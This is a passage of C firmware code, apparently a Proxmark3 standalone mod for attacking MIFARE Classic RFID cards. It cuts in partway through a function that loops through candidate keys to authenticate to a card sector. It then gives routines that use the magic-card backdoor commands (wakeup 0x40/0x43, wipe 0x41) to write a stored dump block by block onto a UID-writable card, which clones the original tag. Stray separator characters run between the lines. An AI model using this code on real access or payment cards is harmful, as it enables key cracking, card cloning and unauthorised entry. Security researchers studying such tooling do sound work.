iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
|
||
set_tracing(false);
|
||
uint8_t uid[10];
|
||
uint32_t cuid;
|
||
struct Crypto1State mpcs = {0, 0};
|
||
struct Crypto1State *pcs;
|
||
pcs = &mpcs;
|
||
// byte_t isOK = 0;
|
||
|
||
for (int i = 0; i < keyCount; ++i) {
|
||
LEDsoff();
|
||
|
||
/* no need for anticollision. just verify tag is still here */
|
||
if (!iso14443a_fast_select_card(cjuid, 0)) {
|
||
// if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
|
||
Dbprintf("FATAL : E_MF_LOSTTAG");
|
||
return -1;
|
||
}
|
||
|
||
uint64_t ui64Key = bytes_to_num(datain + i * 6, 6);
|
||
if (mifare_classic_auth(pcs, cjcuid, blockNo, keyType, ui64Key, AUTH_FIRST)) {
|
||
uint8_t dummy_answer = 0;
|
||
ReaderTransmit(&dummy_answer, 1, NULL);
|
||
// wait for the card to become ready again
|
||
SpinDelayUs(AUTHENTICATION_TIMEOUT);
|
||
continue;
|
||
}
|
||
LED_A_ON();
|
||
crypto1_destroy(pcs);
|
||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||
*key = ui64Key;
|
||
return i;
|
||
}
|
||
LED_A_ON();
|
||
crypto1_destroy(pcs);
|
||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||
|
||
return -1;
|
||
}
|
||
|
||
void saMifareMakeTag(void) {
|
||
// uint8_t cfail = 0;
|
||
Dbprintf(">> Write to Special");
|
||
int flags = 0;
|
||
LED_A_ON(); // yellow
|
||
for (int blockNum = 0; blockNum < 16 * 4; blockNum++) {
|
||
uint8_t mblock[16];
|
||
// cnt = 0;
|
||
emlGetMem(mblock, blockNum, 1);
|
||
// switch on field and send magic sequence
|
||
if (blockNum == 0)
|
||
flags = 0x08 + 0x02;
|
||
|
||
// just write
|
||
if (blockNum == 1)
|
||
flags = 0;
|
||
|
||
// Done. Magic Halt and switch off field.
|
||
if (blockNum == 16 * 4 - 1)
|
||
flags = 0x04 + 0x10;
|
||
|
||
if (saMifareCSetBlock(0, flags & 0xFE, blockNum, mblock)) { //&& cnt <= retry) {
|
||
// cnt++;
|
||
Dbprintf("Block :%d %sOK%s", blockNum, _GREEN_, _WHITE_);
|
||
// Dbprintf("FATAL:E_MF_CHINESECOOK_NORICE");
|
||
// cfail=1;
|
||
// return;
|
||
continue;
|
||
} else {
|
||
Dbprintf("%sFAIL%s : CHN_FAIL_BLK_%d_NOK", _RED_, _WHITE_, blockNum);
|
||
break;
|
||
}
|
||
Dbprintf("%s>>>>>>>> END <<<<<<<<%s", _YELLOW_, _WHITE_);
|
||
// break;
|
||
/*if (cfail == 1) {
|
||
Dbprintf("FATAL: E_MF_HARA_KIRI_\r\n");
|
||
break;
|
||
} */
|
||
}
|
||
}
|
||
|
||
//-----------------------------------------------------------------------------
|
||
// Matt's StandAlone mod.
|
||
// Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn)
|
||
//-----------------------------------------------------------------------------
|
||
int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) {
|
||
|
||
// params
|
||
uint8_t needWipe = arg0;
|
||
// bit 0 - need get UID
|
||
// bit 1 - need wupC
|
||
// bit 2 - need HALT after sequence
|
||
// bit 3 - need init FPGA and field before sequence
|
||
// bit 4 - need reset FPGA and LED
|
||
uint8_t workFlags = arg1;
|
||
uint8_t blockNo = arg2;
|
||
|
||
// card commands
|
||
uint8_t wupC1[] = {0x40};
|
||
uint8_t wupC2[] = {0x43};
|
||
uint8_t wipeC[] = {0x41};
|
||
|
||
// variables
|
||
byte_t isOK = 0;
|
||
uint8_t uid[10] = {0x00};
|
||
uint8_t d_block[18] = {0x00};
|
||
uint32_t cuid;
|
||
|
||
uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE];
|
||
uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE];
|
||
|
||
// reset FPGA and LED
|
||
if (workFlags & 0x08) {
|
||
LED_A_ON();
|
||
LED_B_OFF();
|
||
LED_C_OFF();
|
||
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
|
||
|
||
// clear_trace();
|
||
set_tracing(FALSE);
|
||
}
|
||
|
||
while (true) {
|
||
|
||
// get UID from chip
|
||
if (workFlags & 0x01) {
|
||
if (!iso14443a_fast_select_card(cjuid, 0)) {
|
||
|
||
// if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
|
||
if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("Can't select card");
|
||
break;
|
||
};
|
||
|
||
if (mifare_classic_halt(NULL, cjcuid)) {
|
||
if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("Halt error");
|
||
break;
|
||
};
|
||
};
|
||
|
||
// reset chip
|
||
if (needWipe) {
|
||
ReaderTransmitBitsPar(wupC1, 7, 0, NULL);
|
||
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
|
||
// if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("wupC1 error");
|
||
break;
|
||
};
|
||
|
||
ReaderTransmit(wipeC, sizeof(wipeC), NULL);
|
||
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
|
||
if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("wipeC error");
|
||
break;
|
||
};
|
||
|
||
if (mifare_classic_halt(NULL, cjcuid)) {
|
||
if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("Halt error");
|
||
break;
|
||
};
|
||
};
|
||
|
||
// chaud
|
||
// write block
|
||
if (workFlags & 0x02) {
|
||
ReaderTransmitBitsPar(wupC1, 7, 0, NULL);
|
||
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
|
||
// if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("wupC1 error");
|
||
break;
|
||
};
|
||
|
||
ReaderTransmit(wupC2, sizeof(wupC2), NULL);
|
||
if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) {
|
||
// if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("wupC2 error");
|
||
break;
|
||
};
|
||
}
|
||
|
||
if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
|
||
// if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("write block send command error");
|
||
break;
|
||
};
|
||
|
||
memcpy(d_block, datain, 16);
|
||
AppendCrc14443a(d_block, 16);
|
||
ReaderTransmit(d_block, sizeof(d_block), NULL);
|
||
if ((ReaderReceive(receivedAnswer, receivedAnswerPar) != 1) || (receivedAnswer[0] != 0x0a)) {
|
||
// if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("write block send data error");
|
||
break;
|
||
};
|
||
|
||
if (workFlags & 0x04) {
|
||
if (mifare_classic_halt(NULL, cjcuid)) {
|
||
// if (MF_DBGLEVEL >= 1)
|
||
Dbprintf("Halt error");
|
||
break;
|
||
};
|
||
}
|
||
|
||
isOK = 1;
|
||
break;
|
||
}
|
||
|
||
if ((workFlags & 0x10) || (!isOK)) {
|
||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||
LEDsoff();
|
||
}
|
||
|
||
return isOK;
|
||
}
|
||
|